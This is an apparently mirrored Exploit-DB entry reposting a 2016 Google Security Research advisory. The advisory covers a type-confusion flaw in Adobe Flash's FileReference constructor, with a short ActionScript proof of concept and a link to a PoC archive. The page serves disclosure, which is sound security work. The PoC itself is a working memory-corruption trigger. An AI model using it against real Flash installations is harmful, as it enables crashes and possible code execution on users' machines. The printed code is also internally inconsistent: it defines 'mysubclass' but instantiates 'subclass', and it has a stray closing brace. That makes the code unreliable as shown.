Adobe Flash – Type Confusion in FileReference Constructor

• Exploit Database
• 120 阅读

• 作者： Google Security Research
  日期： 2016-05-17
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39829/
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  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799   There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.   A minimal PoC is as follows:   function myfunc(){ this.__proto__ = {}; this.__proto__.__constructor__ = flash.display.BitmapData; super(1000, 1000); }   function mysubclass(){   this.watch("name", myfunc); _global.ASnative(2204, 200)(this); // FileReference constructor this.unwatch("name"); // let the reference free } }   var a = new subclass(); a = 0; // wait for GC     Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39829.zip